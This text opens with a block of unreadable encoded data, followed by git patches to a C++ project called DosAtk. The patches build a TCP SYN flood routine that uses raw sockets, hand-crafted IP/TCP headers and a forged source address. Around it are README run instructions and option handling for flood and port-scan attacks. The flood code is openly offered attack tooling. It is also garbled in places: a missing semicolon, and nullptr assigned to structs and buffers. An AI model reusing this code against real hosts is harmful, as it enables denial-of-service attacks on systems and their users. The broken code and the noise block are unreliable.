zzT#Y9=%)e#4O27`AYypGe*~I*;GX!EsS}&0PHb>a^vs%AJ!_&@D-gq3^U^N|&`1_y zV4ql6(lB*mVG;ii#iE8;#(xD93yVVy!?i5)lB%@8?|wHY>*Sm-(rVG z?bibX^!tf>05y5b#?&aP*0LFDrWo210=Ky9Nd}0^S37FW{|+i!T6Pj=rJ0 z$|vA_E%4Yj{qA09XLu|2RH_BC*XM8#aWk!B@A~{?*^O(*o}H; z1NHz00QUk;!R=qXI$zTPoq(-?<$xW4%K>i(TnqRNU^n0ZU=QF}++*JhI3EzN%Gd4% zbOP=LEC(EkCkd7V767gVtN`o*yc_T>z~2DoqFsLgJQMI8K)P4`Pe6JWV8!eBW;ft^ zz}oLAAse6 zUrxb~fG+^91N;l%-GHP1f_?@(3-B$#TAUf3f}?{Kfad{j1Y8DqE8x|DKLxxEa4HVJ z9s#TZ{3GCHfS&@=ldNYRi-C(n%Xxs~0UH4C1Y8IBDB#_IuL14^%*T1fTY!@Qb1}ZY z0eB|hPXOluj>Yj!10Y>^Sesp0S1r-9+VZnb9yxRveHn-F^ctSX_JM&(#4&GZK7ljw zM-MV=c#w}#?b!VJ$Bw%&Z^Wu$Yqbkbnt68dnG=YQk^wFw(r70f*eJtqs?wP5-$)s-t zebONGdqE$}zNbMa`|R|;3;Jx(8`b)=FJ%Uhe@5bXdmZT1zlMLWFzq`R^v$53tJ3`@ zy$bZZK_9Qumzwkt=syGe{o>lc^Kf&mvXDQ@cc4FN^T+e+6GfB3Y?7h`t=oyCg>_`4@H}@ukei!DJUEg^? zzXkMAnjL&_kUyG0e-m`PpTV@Dj<=WS8$kaP=wDaq*=>e>TR@+SemO&>U(Ds5!0iIv z4f^+0I((IVlUc{R;MqBdj*;+D??H4Ff@eO~Z#z3`K(7RSFgxPlp=Uh&s;$|)G31L) zppU>qBX+*}1?b0s9!rzI-0;;4pf3a6uCG1-eTfZy9CVJsn*SkkpB?a*F<#(HvaJxb zTXCdqH%@9m|HdHn2y&1Zi!D_T4yTPD;3i_L%+xhtvHn&lC@xpf3ZR^nVqfjrwU! zDr?SK@XSJATwvk35>`?j-Jo9#`k5;I64nH^CiZ}SnN44k%u@8V7xX@S&Miej&i@4) zbJ}yWUnNac&oG3B6OeZ3=PlG-KbUPc~74mq!fa!PtF)~JlD{E>(!pxd>t5Of{%%hTk2MnBbn z{-Z(Y5zuc!o-u%aFznCyh;;zAqyq4;Z}E6Ni9CF&vHDN zoAaA2$L8FeME12=D7>BHNIA6qxu^Zkp>20KUUg`XI|y_05b$SfSu8d{M-wJ6wd3}z z;^)yKp_!>a`rlCx9QD9a5B#6>fc*VT`Fol2_c1A)(=`(73th5IzxAn>>9k9(XIzX4imx~Id-IIkPq=AIcfO`epC!od- z#c-}7pi{s?0m}uf5pcPH5dqf<*d<`MfLjIZ5pcJFdj;GlpvDq5)Gwe@z(N7b1*{Qp zxquM?*9zDrV7Gu<1?&-Uw}5*E+$W$`%>AD)pi{s?0m}uf5pcPH5dqf<*d<`MfLjIZ z5pcJFdj;GlVCLRGbnLM1%)IjVc4fSgTt4wZ{_d`o-XQ4m_jj%IprFg&;kD8uf-ZlL z*Gdlw`i+9oN~be$y5#TkTIuzitjXW$6-5Iy8J`aC1AZTSmUD7leQQg+)#)lOC@v_R zTH4BrMb{LS6cm5=Q1#BX5yCm6pQE%Eo@ zLniz02cGl<7jsUwuffMZ;V(-Ytrf21cxlgZ_&|7<1^-2XFS6k41-{sVze(UrEO>fH z7U`dE!T(d>OD*_`SYL>Lh6P_O@MRYK8iAi_!QUhBvn=>$fhYgSd?Am!L$ezXA2K~- zw2{{dMg?T@e-6f3mUg1C?n?F(8Gf8*U3Vt1ae2Jv5q3)c>A+8bo%1i_nDK(pBJj_z zNXP#G_~WFo0$&7vH1sU1;z)K*iI1<^=oyU#d9)%gKTfm3&jp_Byk`mLJV6L7v*G`$ z4Su)KGfA{dE)%CBU&&+-{mObK{01BR?}0xq`y{RAPT3+3OOarZfA-DbdX-`t%D=y~z62Acf zH&c6Gx4}-Te@JumQ=HgUw|0w2NvBmN&Ya0H!$()AJWne;En=lt}lbGqbsO9G#X--TdE z`aclkp@fTR7XqJ&f4SgaB>Mdf!T%lL^WmTJy9GjkJAfy@t+n{)0pOkKtgN(C=(oB+8d3w)2j(|ugJekAl%SMjo(@4o<^ z{AQgOBd|ac{#qPl(zTES?JENReGvz~D)2uP`1>f~!6o~vatzmVs=%ZB*i{QWsy^WA zw!yzE^b{@UBC@|GV4`KxGY5FG{}nO*CI2eMpRfIRHrL}87F;X%>x6!>E!KW&qyK%u z|86Z;Fka|63xSC0y>bahlnT5@;D0UfD6*>_A2Qj0t>Cw|cN_2&m#pjBqrlU6(8RcP z3jNOsJvm?D2-z=JVqZ>nuKE(k%kj`9@WDooU(11ZHa7m5?3`nRuLqv=|5WJTDfDcx z;lD%hUnls_68zg4f4+9v0*;V&J}LNj1vq}K;P>I6hU)#$pN@Y=;4iy`$1Ene4d+c-k7Yj27x>?adG~dp z|1E*9znCNB{2ezbb9;5*okCUxtAVHe*RXCCt7+HS=()uP{|n&B4;8}BkWjbeERH{A zIY-EOdY!TEcjbQzl-UlIi_Ux!Iam;ZxueU?Q8K2<45_r;6 zZqc(=@D~Vw%Km*{;Ae<+M2Kmzb27L0I^e0j4~V$bCF=bb@Kob+0!W4f_x2jkDzUM}P1w?)OT z08iu7V;P?x+35EnzDpZ~Y6h+Wp892{#Sb^w@IS!t`P%mLxt4dOGOs@xcNK&+UH8=o z^*Fw{0z@p{+Spj&*BS!Rz=~iDU-!}D&ALAnZVAM|*$~!Ogu?Z{klqjvM`OCLwN3Mf zn$(^&bpHVXWa zh^Aj$;?i~c;#knn7=!p`(^c#{DLTHnqc`B|BGFbqeMd#dX{mm(H|{FZ^zPVCd2vg|GN958lzGdix z|6p5dODwpeCD2fLIkVxgM4As@Wc9&Y3a5~B4y~o7hvE_G=0nuW{Cr3jpmxc(plb2l zIaL@Rt@V1Pu3zkO@vj5w^p&@{)BSC2E*A#d{3Ua$-MV|xJYCmxA+vb?e6PD!ubnfu z$_?ziuPmBVU0DI<1&iu*w@1i$<}JY(LI0Hco1)>Ca9Kku{~lRoNEug(?G;6pp_Oj; zl7+QUdQd^5Dd}Rhm5W>$IWQlybfwER9rGm|^#>X-a8?Cd8rTdBKn2c}44 zUot(M%3O+#sKuwVudnI&s+Ye>QLROy7`%<;3#uyTR_H|qMFrE@gz>dtk`?Qf;g~+Z zIo=rZt%!M9YZrRMrT7*YX1jl7y?Z4WT)I>*E+}Dwp;)CKqAr>TdOYe2#({vdNL{@z zh8Z5lY!3LEE7389y4zc-vzoktcqAI|2V$&=R|O&Px^#*Kixzt0Gnn69E?1Gkg)fq2Qs?!N@zec?PSNzn78GIBq4T9T=DE`8 zj2NHED+q=&d!;NEKxFpC18$gH#JmlU6C&LOdTn)u9NVk~2hlq{+JH7&4XUiIM$D4& zA1W#O*ZS&10oHT=FzX1l%Qb&%G^7W7F?@SE6!5jQM#?MdmQ?ABYut;x-YT8C9KCb6 z{)|+)YZm&|CQ5J0Ip`{ulMo{|7O!07)iX~^8SW9(+#xSqNMQqiW@G{ZCe94BP($@# zW98CV6zVXzDN4&~FdEU%_)2Xn`l3vCmr!)U6kmj4Q;Bg}i_wGOLn|I{vj`TUcv_UO z)*T}8s*n)_-1VeVX$zkOtfCTBV@N42>mvej^rw-6(k1$7FvW%xQg=1a(2 zqm>Rj)Vi>W@w!CEWva-FQELsKa;-Y-&{Wdki~Ih~ev-2ylkw&xi#8uhBr$!?!W!1u zaC0;AVhUH47iJ1Ai@ej#z~VLn8-m=DgpBOc6{>UJB?6PJ@y>+*d3K(&7_<|EMao?y4~n5nGhIJjs+gd4t2cn01GHAvFq&& zX)zx@ZtPKNFic8yS0T$l*lb4DQmW6SA3nYwolGXQ)g#(K?(-19cW%(miEy!`<$ zbf9FcS?$NqosF5^KER3a&%Y@bJCe+^!jh$%E2=TuOR)eW7ZNEDjd2knj7<)jFlba% zVl;+%kPT?sD#F$1CzngURs%2WFs75ff}%JJ!nA>lA6mMZuk4V znbYu6yetXxez3@8JEYtiUfhCr@EAc=ZYWEzGQ`zEhDK6Ftqqa%WYdfr>h}A9mBtJp za)M?G9NsvBgRQalbCsnrEHE#|LRqsAVH);&u5$v5Z(R~9jIcC*opX~PdF%OY|c=EvS%*_C0RS+lSx-i%@3;$sS#1zWKXdSK#* zEC!-w>wI|jrXO5ck7-H~S60NEC@io(XNmQJr$G9Owl+P2H%5hNTNz)iuPjuLl+>-` zL3*XA((IK0<)Nr{26n6IdB-76l}!EqUz#UH{4@bM077_6To2GXj$@pL^w@T|*^3Nq z$UTgs4K;IdBWuB6MCM}6S`LVpnX;EUcG9RX3B+2PaW+s_oPdxRx}O#WWS*bTakBZe)i+%y zPK9t%^ts%o>|+nNLuKSR&?ux#neCd6^Po(b=c1XqzM`d-PLN$#`CG!#X579p&PLG< zM-XS-?np!){v2*Pp=6V4Jf%2o9wQ=Z;F!BP;SjMnZOfu~sU=W(q)rjX zcA5Mv4m`YcgFzV>#rj1>uA9vG^MOpcj~O*H zD>i~lT9T@?A+wk=wbJisEL!-V8IcXx!wWyLm=d5hd!aWi836qVGn6vQP;g8YV&|pm zz&)bAF%HMXOwZUcILjC`zc6}6Jx)3NeWmr51kadg$BL}ZxY>g2j-3%>cXHs}A#&^I z&7fJriw-MGpCJbyUFt2Yi(Q3S7w|Gk9WRrl;ox!w@RrI*K&Q7B9^qC66Bb=@==YXN z`I`!9I5L+-1999jT$P^txJr!u9edNHvBf*&nPu#rX^*2Ot#+FW+q9X_l;X6hV&u(- z8*XPr1F=AKWxze?S%J-AmD?Sp154%32f|bOK>&K91b1YRL#+(p&5pQRQ%U`b+agO_ z;+gN+&`lY6(`JUeX#>TU^RHSuIgv-7hQIH_WhuZA_0SN0f(?^c03j7HPFNu7ey} znwf!3@`%Yd_^oM|ORv_^QP|HM?Dn*o-Qnnr-qCCA9iY+Q$m(0t&xK4u8uwNyL}w+T zusl$ZzEh=Chvx>?HIF9K!IoPkqe)+I#Ug#U9hl~PW8aqEeV=;^a!8HB*il-9;~XsV z8PCH8eLf>Sy3kVunV%uh8)9L-2~TX{fdU+V#JHTY@uOH(Gau(IUfrFpR9PFFgLImI zVE&xGdJLK&(?cbhZjZ_P_~y-hoVe2#RgZ-66bx=&B3ARIpaM(5JRN85{7I}#-p+K~ zpm^I%zYk^nWKw3cNo>fld9~dnW-?s$oibJp+vk0`AR1^a&@VpdGfHVG@}V?Sty)ey z9@ES?r#!pCo&mGHGb2)Ln+S)NA8v+IOgBT)*Dd~(&wprVQ$lwa+2+O@_bp;~5f6Og zN-pM><)2pnQvRBIGsC2_lZKX9`XYGXRGNwB6xpz+V;4-ev`K(GBrQ)Hyvx}1D500e zn^q_RH%;^Bp4M(xDKi@{u=fY_KqTyMGPZ_%!MDjiaU8?g?pOZvw@?lYI^qtc5(xi|&x`BYY#kif>fTMi;OatBbq=9&loU?>> zM(F_>QEQfCpU@Tsu7t235ADGk*K`DO_4jImH8p-suFDy2 zzX<;xsoBLy*W9RDed@(8Zd3X3kWhLvXq!h*#8RlC=aP-US6rgCut#dr$COO_%qME_ zq?k1UoIy($er6+xUmb|8ZjSrv0pn2)o8%{Y&^{W`3R=SPKmks_3-H?=I8u(UR#5e= z!BE50V1q#68S1I@B?!je<7aD#qqYXv&jA%hL%x-5D1e(P6AetJWO_orN->(PS`~mEX&_-m; zOe_D21lJ)yqjFz!5bC)?JfNi&&{JP{2wQ&T~8G zAK~3*(ti2=HwnepeT?_NS?%{hegyucynH{Lgu|$DxCoH%q&&VJ%`OahjhZaw<@@F& zl<$}0++2tJOz=wl(YxEEynJ7qgf|Q3Ap%N139kX3-UTPi@_ld;?h|rkKlx7DFVI@2 zz)N}gemV)|`{`u;QeL+I79l@ZD3tHJlTf}NkK|9ppH==&;K;91zw!N9G4N=7tCzL^ zZv#=4cM3TP_lof-b>xc=65eBxXFq;HJSCjb$${~|l#_5PC~5UeIRSScr2dC2^76eo z624SuRLwrfdL{Nzi@bcFjfA5lqkvZb{YJ>k{+Hj&lh9*y3|AogPpbW$MP9ylNkaNf z9`&-;|EfiP`D)HB;ntC=v^jnx_HB!N{&k!pA?a5yYyBUCcr5;;nezRUT^(G?>TlV8 z3F$|F^Avgce#&kkFZsAO(|(E1gFLxd)-T^@wMED~MaPIRWXvCF*H0iz<4?-V_fzho ziH)nw=vZEs^-4Gn!m7O1&H1!04r_?0Tu$XPeLM|x(k1I(dnae8`4)#gmio&%+W7wr z$Ws-C28Mr-^5 Date: Thu, 3 Apr 2025 00:53:29 +0300 Subject: [PATCH 4/9] TCP SYN attacks (#10) Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/8 Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/10 Reviewed-by: serafim Co-authored-by: Urmipie Co-committed-by: Urmipie --- .gitignore | 5 +- README.md | 21 +++++-- src/DosAtk.cpp | 164 +++++++++++++++++++++++++++++++++++++++++++++---- 3 files changed, 173 insertions(+), 17 deletions(-) diff --git a/.gitignore b/.gitignore index 600d2d3..7451162 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,4 @@ -.vscode \ No newline at end of file +.vscode +src/test.cpp +test +DosAtk diff --git a/README.md b/README.md index 7e15699..42b171d 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,9 @@ # Как жить? +Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request. + ``` -git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий +git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!) git checkout -b my_dns # Создаём ветку для реализации модуля my_dns git add * # Добавляем написанный код в комит git commit -m 'Написал код' # Комитим в локальную ветку @@ -9,6 +11,17 @@ git push origin my_dns # Пушим свою ветку в репозитори # Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг ``` -Для компиляции: -g++ DosAtk.cpp -lcurl -Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev \ No newline at end of file +# Компиляция + +Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl` +Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev` + +# Запуск + +Пример запуска: + +``` +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 +``` +Запускается только на Линухе! + diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 1e9e7cf..233550f 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -1,14 +1,14 @@ // ====== DCL библиотеки ====== // -#include // Для работы с вводом-выводом (cout, cin и др.) -#include // Стандартная библиотека C (функции работы с памятью, преобразования типов и др.) -#include // Для работы со строками string -#include // Для работы с временем и таймерами -#include // Функции работы со временем C (time_t, localtime и др.) -#include // Для форматированного вывода (setw, setprecision и др.) -#include // Для разбора аргументов командной строки -#include // Функции для работы с символами (isdigit, isalpha и др.) -#include // Библиотека libcurl для HTTP-запросов (отправка в Telegram) +#include // Работа со строками и памятью (memset, memcpy) +#include // POSIX API (close, read, write) +#include // Сокеты (socket, setsockopt, sendto) +#include // Структура IP-заголовка (struct iphdr) +#include // Структура TCP-заголовка (struct tcphdr) +#include // Преобразование IP-адресов (inet_addr, inet_pton) +#include // Определение констант сетевых интерфейсов (IFNAMSIZ) +#include // Управление сокетами и интерфейсами (ioctl) +#include // Флаги файловых дескрипторов (fcntl) // ====== DCL глобальные переменные ====== // @@ -415,13 +415,153 @@ void my_tcp_syn() { // Данная процедура выполняет TCP SYN Flood атаку printf("start my_tcp_syn"); // debug + printf("end my_tcp_syn"); // debug } -void my_udp() -{ - // Данная процедура выполняет UDP Flood (port scanning) атаку +unsigned short checksum(void *data, int len) { + /** + * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) + * + * Параметры: + * data - указатель на данные пакета + * len - длина данных в байтах + * + * Возвращает: + * 16-битную инвертированную контрольную сумму + */ + // === Объявление локальных переменных === + uint16_t *ptr; // Указатель для чтения 16-битных слов + unsigned long sum; // Аккумулятор для суммы + uint8_t *byte_ptr; // Указатель для чтения одиночного байта + // === Инициализация переменных === + ptr = (uint16_t *)data; // Инициализируем указатель на данные + sum = 0; // Начальное значение суммы + // === Основная логика процедуры === + // Суммируем 16-битные слова + while (len > 1) { + sum += *ptr++; // Добавляем текущее слово и перемещаем указатель + len -= 2; // Уменьшаем счетчик оставшихся байт + } + if (len == 1) { // Если остался непарный байт, добавляем его в сумму + byte_ptr = (uint8_t *)ptr; + sum += *byte_ptr; + } + sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) + return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму +} + + +void my_tcp_syn() { + /* + * Отправляет TCP SYN запрос на указанный IP и порт + * status: + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета + */ printf("start my_udp"); // debug + + + // === Объявление локальных переменных === + int sock; // Основной raw-сокет для отправки пакетов + int one; // Флаг для setsockopt + + // Структуры для адресов + struct sockaddr_in target_addr; // Адрес цели + + // Параметры подключения + uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) + + // Структуры заголовков + struct iphdr ip_header; // IP-заголовок пакета + struct tcphdr tcp_header; // TCP-заголовок пакета + + // Псевдозаголовок для контрольной суммы + struct { + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t tcp_len; + } pseudo_header; + + // Буферы данных + char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + + // === Инициализация переменных === + sock = -1; + one = 1; + target_port = htons(atoi(port.c_str())); + + // === Основная логика процедуры === + // 1. Создание raw-сокета + if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { + status = -201; + return; + } + + // 2. Установка опции IP_HDRINCL + setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); + + // 3. Настройка адреса цели + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 + + // 4. Формирование IP заголовка + memset(&ip_header, 0, sizeof(ip_header)); + ip_header.ihl = 5; + ip_header.version = 4; + ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); + ip_header.ttl = 64; + ip_header.protocol = IPPROTO_TCP; + ip_header.saddr = inet_addr("127.0.0.1"); + ip_header.daddr = inet_addr(ip.c_str()); + + // 5. Формирование TCP заголовка + memset(&tcp_header, 0, sizeof(tcphdr)); + tcp_header.source = htons(12345); + tcp_header.dest = target_port; + tcp_header.seq = htonl(123456); + tcp_header.doff = 5; + tcp_header.syn = 1; + tcp_header.window = htons(5840); + + // 6. Расчет контрольной суммы + pseudo_header = { + .saddr = ip_header.saddr, + .daddr = ip_header.daddr, + .zero = 0, + .protocol = IPPROTO_TCP, + .tcp_len = htons(sizeof(tcphdr)) + }; + memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); + memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); + tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); + + // 7. Сборка пакета + memcpy(packet, &ip_header, sizeof(iphdr)); + memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); + + // 8. Отправка пакета + if (sendto(sock, packet, sizeof(packet), 0, + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + n_fail_requests++; + status = -202; + } else { + n_ok_requests++; + status = 0; + } + + // 9. Проверка завершения + if ((n_ok_requests + n_fail_requests) >= 1000) { + status = 2; + } + + close(sock); printf("end my_udp"); // debug } From 7e0804f2725f995df69083ac289691023abceb9e Mon Sep 17 00:00:00 2001 From: Serafim Date: Thu, 3 Apr 2025 15:47:06 +0300 Subject: [PATCH 5/9] style: return status codes, titles (#12) Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/12 Co-authored-by: Serafim Co-committed-by: Serafim --- src/DosAtk.cpp | 177 +++++++++++++++++++++++++++---------------------- 1 file changed, 97 insertions(+), 80 deletions(-) diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 233550f..f6d4fe8 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -1,4 +1,11 @@ -// ====== DCL библиотеки ====== // +/* +██████╗ ██████╗██╗ ██╗ ██╗██████╗ +██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗ +██║ ██║██║ ██║ ██║ ██║██████╔╝ +██║ ██║██║ ██║ ██║ ██║██╔══██╗ +██████╔╝╚██████╗███████╗ ███████╗██║██████╔╝ +╚═════╝ ╚═════╝╚══════╝ ╚══════╝╚═╝╚═════╝ +*/ #include // Работа со строками и памятью (memset, memcpy) #include // POSIX API (close, read, write) @@ -10,9 +17,15 @@ #include // Управление сокетами и интерфейсами (ioctl) #include // Флаги файловых дескрипторов (fcntl) -// ====== DCL глобальные переменные ====== // +/* +██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗ +██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗██╔══██╗██╔════╝ +██║ ██║██║ ██║ ██║ ██║███████║██████╔╝███████╗ +██║ ██║██║ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗╚════██║ +██████╔╝╚██████╗███████╗ ╚████╔╝ ██║ ██║██║ ██║███████║ +╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════ +*/ -// Параметры int argc // Количество аргументов при вызове программы char **argv // Массив строк с агрументами std::string attack_type; // Тип атаки: scan или syn @@ -22,20 +35,24 @@ std::string port; // Порт для syn std::string log_file; // Путь к директории для логов std::string telegram_id; // Telegram ID для уведомлений std::string telegram_token; // Токен бота для уведомлений - -// Статистика int n_ok_requests; // Количество успешных запросов int n_fail_requests; // Количество не успешных запросов std::chrono::system_clock::time_point start_timestamp; // Начальное время работы -// Переменные std::string log_msg; // Сообщение, которое будет записано в лог-файл std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю std::string msg; // Сообщение, которое будет отправлено в телеграм int status; // Статус работы программы -// ====== DCL процедуры ====== // +/* +██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗ +██╔══██╗██╔════╝██║ ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔══██╗██╔════╝██╔════╝ +██║ ██║██║ ██║ ██████╔╝██████╔╝██║ ██║██║ █████╗ ██║ ██║██║ ██║██████╔╝█████╗ ███████╗ +██║ ██║██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║██║ ██╔══╝ ██║ ██║██║ ██║██╔══██╗██╔══╝ ╚════██║ +██████╔╝╚██████╗███████╗ ██║ ██║ ██║╚██████╔╝╚██████╗███████╗██████╔╝╚██████╔╝██║ ██║███████╗███████║ +╚═════╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ +*/ -void my_check_params() +int my_check_params() { // Данная процедура записывает в глобальные переменные параметры // (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы @@ -113,41 +130,35 @@ void my_check_params() telegram_token = optarg; // Сохраняем токен бота Telegram break; case 'h': // Обработка опции -h (--help) - status = 0; // Устанавливаем статус "показать справку" + return 0; // Устанавливаем статус "показать справку" break; case '?': // Обработка неизвестной опции - status = -101; // Устанавливаем статус "неизвестная опция" + return -101; // Устанавливаем статус "неизвестная опция" break; } } - // Проверяем корректность введенных параметров - if (status != 0 && status != -101) + if (status != 0 && status != -101) // Проверяем корректность введенных параметров { - // Проверяем валидность типа атаки - if (attack_type != "flood" && attack_type != "scan") { - status = -1; // Некорректный тип атаки + if (attack_type != "flood" && attack_type != "scan") { // Проверяем валидность типа атаки + return -1; // Некорректный тип атаки } - // Для сканирования портов должна быть указана цель (домен или IP) - else if (attack_type == "scan" && domain.empty() && ip.empty()) { - status = -10; // Не указана цель для сканирования + else if (attack_type == "scan" && domain.empty() && ip.empty()) { // Для port scanning нужен домен или IP + return -10; // Не указана цель для сканирования } - // Для флуд-атаки должна быть указана цель (домен или IP) - else if (attack_type == "flood" && domain.empty() && ip.empty()) { - status = -20; // Не указана цель для флуда + else if (attack_type == "flood" && domain.empty() && ip.empty()) { // Для флуд-атаки нужен домен или IP + return -20; // Не указана цель для флуда } - // Проверяем, что если указан Telegram ID или токен, то должны быть указаны оба - else if ((!telegram_id.empty() && telegram_token.empty()) || - (telegram_id.empty() && !telegram_token.empty())) { - status = -600; // Неполные данные для Telegram + else if ((!telegram_id.empty() && telegram_token.empty()) || // Если указан telegram token то нужен и id + (telegram_id.empty() && !telegram_token.empty())) { // Если указан telegram id то нужен и token + return -600; // Неполные данные для Telegram } - // Если все проверки пройдены и тип атаки - сканирование - else if (attack_type == "scan") { - status = 1; // Валидные параметры для сканирования + else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование + return 1; // Валидные параметры для сканирования } - // Если все проверки пройдены и тип атаки - флуд - else if (attack_type == "flood") { - status = 2; // Валидные параметры для флуда + + else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд + return 2; // Валидные параметры для флуда } } @@ -158,11 +169,9 @@ void my_diag() { // Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, // формирует сообщение с описанием произошедшей ошибки - printf("begin my_diag, status: %i\n", status); // debug - // Выбор сообщения в зависимости от кода ошибки - switch (status) + switch (status) // Выбор сообщения в зависимости от кода ошибки { case 0: // Специальный случай - вывод справки по использованию printf("Usage: ./DosAtk [options]\n" @@ -193,14 +202,14 @@ void my_diag() break; } - // Отладочный вывод - завершение работы функции printf("end my_diag\n"); // debug } // Функция для экранирования специальных символов в строке перед использованием в JSON // Принимает: const std::string& s - исходная строка для обработки // Возвращает: std::string - строка с экранированными спецсимволами -std::string escape_json(const std::string& s) { +std::string escape_json(const std::string& s) +{ // Возвращаем строку с экранированными символами // ===== Объявления ===== @@ -229,7 +238,8 @@ std::string escape_json(const std::string& s) { return result; // Возвращаем обработанную строку } -bool is_numeric(const std::string& s) { +bool is_numeric(const std::string& s) +{ // Проверка, является ли строка числом (включая отрицательные) // ===== Объявления ===== @@ -259,7 +269,8 @@ bool is_numeric(const std::string& s) { return true; } -void my_msg() { +void my_msg() +{ printf("begin my_msg"); // debug // Объявление @@ -340,11 +351,12 @@ void my_msg() { printf("end my_msg"); // debug } -void my_log() +int my_log() { // Данная функция записывает в файл лога сообщение printf("start my_log"); // debug printf("end my_log"); // debug + return 0; } void my_fin() @@ -404,22 +416,15 @@ void my_fin() std::exit(status); } -void my_dns() +int my_dns() { // Данная процедура сопостовляет доменное имя с IP printf("start my_dns"); // debug printf("end my_dns"); // debug } -void my_tcp_syn() +unsigned short checksum(void *data, int len) { - // Данная процедура выполняет TCP SYN Flood атаку - printf("start my_tcp_syn"); // debug - - printf("end my_tcp_syn"); // debug -} - -unsigned short checksum(void *data, int len) { /** * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) * @@ -452,7 +457,8 @@ unsigned short checksum(void *data, int len) { } -void my_tcp_syn() { +int my_tcp_syn() +{ /* * Отправляет TCP SYN запрос на указанный IP и порт * status: @@ -461,23 +467,19 @@ void my_tcp_syn() { * -201 - ошибка создания raw-сокета * -202 - ошибка отправки SYN-пакета */ - printf("start my_udp"); // debug + printf("start my_tcp_syn"); // debug // === Объявление локальных переменных === int sock; // Основной raw-сокет для отправки пакетов int one; // Флаг для setsockopt - // Структуры для адресов struct sockaddr_in target_addr; // Адрес цели - // Параметры подключения uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) - // Структуры заголовков struct iphdr ip_header; // IP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета - // Псевдозаголовок для контрольной суммы struct { uint32_t saddr; @@ -486,7 +488,6 @@ void my_tcp_syn() { uint8_t protocol; uint16_t tcp_len; } pseudo_header; - // Буферы данных char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет @@ -494,13 +495,18 @@ void my_tcp_syn() { // === Инициализация переменных === sock = -1; one = 1; + target_addr = nullptr; target_port = htons(atoi(port.c_str())); + ip_header = nullptr; + tcp_header = nullptr; + pseudo_header = nullptr; + temp_buf = nullptr; + packet = nullptr; // === Основная логика процедуры === // 1. Создание raw-сокета if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { - status = -201; - return; + return -201; } // 2. Установка опции IP_HDRINCL @@ -550,21 +556,38 @@ void my_tcp_syn() { if (sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { n_fail_requests++; - status = -202; + return -202; } else { n_ok_requests++; - status = 0; } // 9. Проверка завершения if ((n_ok_requests + n_fail_requests) >= 1000) { - status = 2; + return 2; } + close(sock); - printf("end my_udp"); // debug + printf("end my_tcp_syn"); // debug + return 0; } +int my_udp() +{ + // Данная процедура сопостовляет производит port scanning атаку + printf("start my_udp"); // debug + printf("end my_udp"); // debug + return 2; +} + +/* +█████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ 